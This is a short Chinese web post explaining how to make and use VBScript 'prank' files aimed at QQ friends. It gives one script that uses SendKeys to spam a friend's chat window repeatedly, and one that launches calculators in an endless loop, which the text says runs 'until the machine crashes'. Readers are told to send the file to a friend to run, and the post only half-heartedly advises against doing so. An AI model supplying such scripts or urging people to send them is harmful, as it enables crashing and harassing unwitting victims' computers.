vbs QQ整人代码 怎么用？

打开一个记事本，把代码输入进去，然后把格式改成VBS。

然后一保存，OK啦，（样子是中间有一个蓝色卷轴。）

接着，只要把这个做好的VBS文件发给他，就可以了，不用

再动别的，只要静静等待他被整，

例外话:我劝你还是别发这些，有点缺德的那种感

觉，给人不好的感受。

记住上面这句话。

打开好友的聊天对话框,然后记下在QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("与 xx 聊天中")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

打开一个记事本，把代码输入进去，然后把格式改成VBS。

然后一保存，OK啦！（样子是中间有一个蓝色卷轴。）

接着，只要把这个做好的VBS文件发给他，就可以了，不用

再动别的，只要静静等待他被整！

例外话：我劝你还是别发这些，有点缺德的那种感

觉，给人不好的感受。

记住上面这句话！

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

将以上代码输入一个记事本，保存为后缀是.vbe的文件。然后类别把“文本文档”改成所有文件。保存。打开之后，会跳出无数个计算器。直到死机。

把这个发给你好友。

用QQ发不了vbs！ 你可以尝试截图下来

标签：vbs,QQ,整人